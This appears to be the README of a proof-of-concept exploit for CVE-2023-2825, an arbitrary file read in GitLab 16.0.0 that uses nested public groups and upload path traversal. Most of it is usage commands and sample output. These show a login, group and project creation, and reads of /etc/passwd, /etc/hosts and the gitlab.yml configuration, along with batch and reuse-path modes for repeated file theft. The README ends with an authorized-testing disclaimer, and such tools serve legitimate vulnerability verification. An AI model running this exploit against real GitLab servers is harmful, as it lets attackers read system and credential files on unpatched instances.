
PoC for CVE-2023-2825: automated GitLab 16.0.0 arbitrary file read via nested public groups, project upload traversal, reusable upload paths, and clean CLI output.
Proof-of-concept for CVE-2023-2825, an arbitrary file read vulnerability in GitLab CE/EE 16.0.0.
The script logs in with a valid GitLab account, creates the required public nested group structure, creates a public project, uploads an attachment, and uses the vulnerable upload path traversal behavior to read a target file from the GitLab server.
It also supports reusing an existing upload path, so you do not need to create new groups and projects for every file read.
Python 3.8+
pip install -r requirements.txt
Required Python packages:
beautifulsoup4
requests
urllib3
Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the < or > characters.
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Target GitLab base URL. Example: http://gitlab.local
<USERNAME> # Valid GitLab username.
<PASSWORD> # Valid GitLab password.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
Example output:
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
After a successful run, the script prints a reusable upload path:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
Use it with --reuse-path to skip login, group creation, project creation, and upload:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
You can also pass a full URL and omit --url:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Create a file list:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
Run:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Number of nested public groups to create. Default: 11
--depth <N>
Number of traversal segments to use. Default: 12
--reuse-path <PATH_OR_URL>
Existing project upload directory. Skips setup and directly reads files.
--only-final
Hide progress logs and print only file contents.
--no-color
Disable ANSI colors.
--debug
Print the generated traversal path for troubleshooting.
--reuse-path whenever possible to avoid creating unnecessary groups and projects.This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.